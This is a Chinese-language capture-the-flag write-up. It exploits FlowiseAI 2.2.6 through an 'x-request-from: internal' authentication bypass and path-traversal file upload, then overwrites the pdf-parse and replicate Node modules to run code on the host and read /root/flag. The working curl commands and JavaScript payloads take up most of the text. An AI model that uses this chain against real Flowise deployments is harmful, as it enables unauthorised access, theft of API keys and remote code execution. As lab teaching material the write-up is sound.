FlowiseAI 任意文件上传 CTF Writeup
题目背景
目标地址:
text
http://8.147.132.32:38529/
题目提示关键信息:
- 服务是
FlowiseAI - 版本
<= 2.2.6 - 存在
/api/v1/attachments未授权任意文件上传漏洞 - 容器环境的
/bin/sh是BusyBox ash - 容器内置
python - 提示了
CVE-2025-26319
这道题的核心不是"单点直接读 flag",而是把几个问题串成一条完整利用链:
- 通过请求头绕过后台 API 鉴权
- 利用附件上传接口做任意路径写入
- 覆盖一个会被服务端动态
require的 Node.js 依赖 - 触发该依赖被加载,获得宿主 Node.js 代码执行
- 读取
/root/flag
最终拿到的 flag:
text
flag{b2881071-2792-40ac-85eb-806b0c44fab4}
一、前期信息收集
先确认目标是不是题目说的 Flowise:
bash
curl -i http://8.147.132.32:38529/
curl -i http://8.147.132.32:38529/api/v1/version
curl -i http://8.147.132.32:38529/api/v1/ping
关键结果:
- 首页标题显示
Flowise - Low-code LLM apps builder /api/v1/version返回:
json
{"version":"2.2.6"}
/api/v1/ping返回pong
说明:
- 目标确实是
Flowise 2.2.6 - 版本和题目提示完全对上
二、先看后台 API 有没有额外问题
1. 正常访问后台管理 API
直接访问一些典型后台接口:
bash
curl -i http://8.147.132.32:38529/api/v1/chatflows
curl -i http://8.147.132.32:38529/api/v1/tools
curl -i http://8.147.132.32:38529/api/v1/credentials
curl -i http://8.147.132.32:38529/api/v1/apikey
结果都是:
json
{"error":"Unauthorized Access"}
说明后台默认有 API 鉴权。
2. 发现鉴权绕过点
继续测试时发现,只要加一个请求头:
text
x-request-from: internal
后台就会把请求当作"内部请求"直接放行。
例如:
bash
curl -i -H "x-request-from: internal" http://8.147.132.32:38529/api/v1/apikey
返回了真实 API key 数据,而不是未授权:
json
[{"keyName":"DefaultKey","apiKey":"...","apiSecret":"...","id":"...","chatFlows":[]}]
这一步非常关键,因为它说明:
- 题目不仅有上传漏洞
- 还有一个后台鉴权设计问题
- 我们后面可以直接调用后台管理 API
三、确认任意文件上传漏洞
先用一个普通文本文件测试上传接口。
本地准备文件:
text
hello.txt
内容:hello
测试上传:
bash
curl -i -X POST \
-F "files=@hello.txt;type=text/plain" \
http://8.147.132.32:38529/api/v1/attachments/test/test
返回:
json
[{"name":"hello.txt","mimeType":"text/plain","size":5,"content":"hello"}]
说明:
- 上传接口确实未授权可用
- 服务端还会把文件内容回显给我们
但这里还只是"普通上传",还没有证明"任意路径写"。
四、为什么能做路径穿越
Flowise 2.2.6 的上传路由是:
text
/api/v1/attachments/:chatflowId/:chatId
服务端会把这两个路径参数直接拼到最终存储路径里。
问题在于:
- 文件名做了清洗
- 但
chatflowId和chatId没有做好路径限制
所以如果把 chatId 伪造成:
text
../../../../目标目录
就能把上传文件写到原本存储目录之外。
重点:必须防止客户端自动规范化路径
如果直接把 ../ 放在 URL 里,很多客户端会提前做路径规范化,导致请求根本没按原样发送。
所以这里有两个关键点:
- 使用
curl --path-as-is - 把
../URL 编码为%2e%2e%2f
例如:
text
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f
表示:
text
../../../../
五、先确认真正写进了应用目录
一开始不要直接上 payload,先做一个最稳的验证:
- 覆盖
customFunction节点的图标文件 - 然后通过
node-icon接口读取这个图标
如果图标内容变了,就说明我们真的写进了应用目录。
1. 上传伪造的图标文件
准备本地文件:
text
customfunction.svg
内容:PROBE_ICON
上传到目标目录:
bash
curl --path-as-is -i -X POST \
-F "files=@customfunction.svg;type=image/svg+xml" \
"http://8.147.132.32:38529/api/v1/attachments/x/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fnode_modules%2fflowise%2fnode_modules%2fflowise-components%2fdist%2fnodes%2futilities%2fCustomFunction"
2. 读取图标
bash
curl -i -H "x-request-from: internal" \
http://8.147.132.32:38529/api/v1/node-icon/customFunction
返回内容变成了:
text
PROBE_ICON
这说明两件事:
- 任意路径写已经成功
- 写入的就是运行中的应用目录
六、寻找代码执行触发点
既然能任意写文件,下一步就是想办法让服务端主动执行我们写进去的代码。
1. 为什么不直接用 customFunction
Flowise 里有 Custom JS Function 节点,看起来像天然 RCE 点,但它跑在 NodeVM 沙箱里:
fs被禁child_process被禁process被禁- 字符串构造函数逃逸也被限制
所以它不能直接用来读系统文件。
2. 更好的思路:依赖劫持
我们不在沙箱里执行代码,而是:
- 覆盖一个应用运行时会动态加载的依赖文件
- 触发该功能
- 让 Node.js 宿主进程自己执行我们的 payload
这就绕开了 NodeVM 沙箱。
七、选中第一个动态加载点:PDF 解析依赖
在 Flowise 的 PDF 文档加载器里,有类似逻辑:
js
require('pdf-parse/lib/pdf.js/v1.10.100/build/pdf.js')
这意味着:
- 这个模块不是启动时固定加载
- 而是在真正解析 PDF 时按需
require
所以可以:
- 覆盖这个
pdf.js - 触发一次 PDF 解析
- 在模块加载阶段执行恶意代码
1. 上传恶意 pdf.js
恶意代码的思路很简单:
- 读
/etc/hostname - 把结果写到
customFunction的图标文件
示例 payload:
js
const fs = require('fs');
try {
let data = 'NOHOST';
try { data = fs.readFileSync('/etc/hostname', 'utf8'); } catch (e) {}
fs.writeFileSync(
'/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/utilities/CustomFunction/customfunction.svg',
'PDFPWN:' + data
);
} catch (e) {}
module.exports = {};
上传:
bash
curl --path-as-is -i -X POST \
-F "files=@pdf.js;type=text/plain" \
"http://8.147.132.32:38529/api/v1/attachments/x/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fnode_modules%2fflowise%2fnode_modules%2fpdf-parse%2flib%2fpdf.js%2fv1.10.100%2fbuild"
2. 触发 PDF 解析
调用文档预览接口去处理一个 PDF:
bash
curl -H "x-request-from: internal" \
-H "Content-Type: application/json" \
--data-binary @pdfpreview.json \
http://8.147.132.32:38529/api/v1/document-store/loader/preview
接口虽然报错:
text
getDocument is not a function
但这不重要。
因为模块一旦被 require,我们的 payload 就已经执行了。
3. 读取回显
bash
curl -H "x-request-from: internal" \
http://8.147.132.32:38529/api/v1/node-icon/customFunction
返回:
text
PDFPWN:engine-2
这一步正式证明:
- 我们不是只做到任意写
- 而是已经拿到了宿主 Node.js 代码执行
八、为什么还要换第二条链
上面的 pdf.js 已经成功执行一次了。
但 Node.js 有模块缓存机制:
- 同一个模块第一次
require后会进入缓存 - 后续再覆盖这个文件,不一定会重新执行
所以想执行"最终 payload"时,最好换一个还没被加载过的动态依赖。
这就是后面切换到 replicate 包的原因。
九、第二条新鲜触发链:Replicate 依赖劫持
Flowise 的 Replicate 节点在真正调用模型时会动态导入:
js
require('replicate')
这是一个新的、未缓存的模块入口,非常适合执行最终 payload。
1. 先创建一个假的 Replicate 凭据
因为节点初始化需要凭据字段,我们先建一个假凭据:
json
{
"name": "rep-creds",
"credentialName": "replicateApi",
"plainDataObj": {
"replicateApiKey": "dummy-token"
}
}
发送:
bash
curl -H "x-request-from: internal" \
-H "Content-Type: application/json" \
--data-binary @repcred.json \
http://8.147.132.32:38529/api/v1/credentials
2. 覆盖 node_modules/replicate/index.js
最终 payload 思路:
- 先尝试读取常见 flag 路径
- 如果读不到,就全盘搜索带
flag的文件 - 把结果写回
customFunction图标文件
示例 payload:
js
const fs = require('fs');
const cp = require('child_process');
const outPath = '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/utilities/CustomFunction/customfunction.svg';
function collect() {
const candidates = [
'/flag','/flag.txt','/root/flag','/root/flag.txt',
'/tmp/flag','/tmp/flag.txt','/home/ctf/flag','/home/ctf/flag.txt',
'/app/flag','/app/flag.txt','/workspace/flag','/workspace/flag.txt'
];
for (const p of candidates) {
try {
return 'PATH:' + p + '\\n' + fs.readFileSync(p, 'utf8');
} catch (e) {}
}
try {
return cp.execSync(
\"find / -type f 2>/dev/null | grep -i flag | head -50 | while read f; do printf 'FILE:%s\\\\n' \\\"$f\\\"; head -c 300 \\\"$f\\\" 2>/dev/null; printf '\\\\n----\\\\n'; done\",
{ encoding: 'utf8', shell: '/bin/sh' }
);
} catch (e) {
return 'ERR:' + e.message + '\\n' + String(e.stdout || '');
}
}
class Replicate {
constructor() {
fs.writeFileSync(outPath, collect() || 'NORESULT');
}
async run() { return 'ok'; }
async *stream() {
yield { event: 'output', data: 'ok' };
yield { event: 'done' };
}
}
module.exports = Replicate;
module.exports.default = Replicate;
上传到:
text
/usr/local/lib/node_modules/flowise/node_modules/replicate/index.js
3. 导入官方 Replicate 模板 chatflow
为了省事,直接使用 Flowise 自带的 Replicate LLM.json 模板:
- 给
replicate_0节点补上刚创建的凭据 ID - 保存为新的 chatflow
4. 触发 prediction
向这个新建的 chatflow 发起一次普通推理请求:
bash
curl -H "x-request-from: internal" \
-H "Content-Type: application/json" \
--data-binary @q.json \
http://8.147.132.32:38529/api/v1/prediction/<replicate_chatflow_id>
虽然接口最终报错:
text
Cannot read properties of undefined (reading 'versions')
但这依然没关系。
原因和前面一样:
replicate模块在被导入时- 构造函数已经执行了
- flag 已经被写到图标文件里
十、最终读取 flag
最后一步非常简单,直接取图标:
bash
curl -H "x-request-from: internal" \
http://8.147.132.32:38529/api/v1/node-icon/customFunction
返回:
text
PATH:/root/flag
flag{b2881071-2792-40ac-85eb-806b0c44fab4}
因此最终 flag 为:
text
flag{b2881071-2792-40ac-85eb-806b0c44fab4}
十一、整条利用链总结
这题的完整思路可以压缩成下面 4 句话:
x-request-from: internal可绕过后台 API 鉴权/api/v1/attachments可配合编码路径穿越实现任意文件写- 覆盖按需动态加载的 Node.js 依赖文件,能拿到宿主代码执行
- 用图标接口做回显,最终读出
/root/flag
十二、这题为什么适合新手学习
这题很适合入门做以下几个知识点:
- 如何从版本号和题目提示快速定位漏洞方向
- 如何区分"普通上传"和"任意路径写"
- 为什么有时候
../不生效,其实是客户端帮你规范化了路径 - 为什么 Node.js 的
require缓存会影响二次利用 - 为什么"接口报错"不等于"利用失败"
- 如何给自己设计一个稳定的回显通道
十三、复现时最容易踩的坑
1. 没用 --path-as-is
这样客户端会提前处理路径,任意写就失败。
2. 没做 URL 编码
直接写 ../ 很容易被中间层或客户端改写。
3. 只盯着 HTTP 返回码
很多时候触发点报错了,但恶意模块已经执行完了。
4. 忘了模块缓存
同一个模块第一次触发后,后面再改文件不一定会重新执行。
5. 选错回显位置
最稳的是选"应用本来就会读出来"的静态资源或接口,例如本题的 node-icon/customFunction。
十四、最终答案
text
flag{b2881071-2792-40ac-85eb-806b0c44fab4}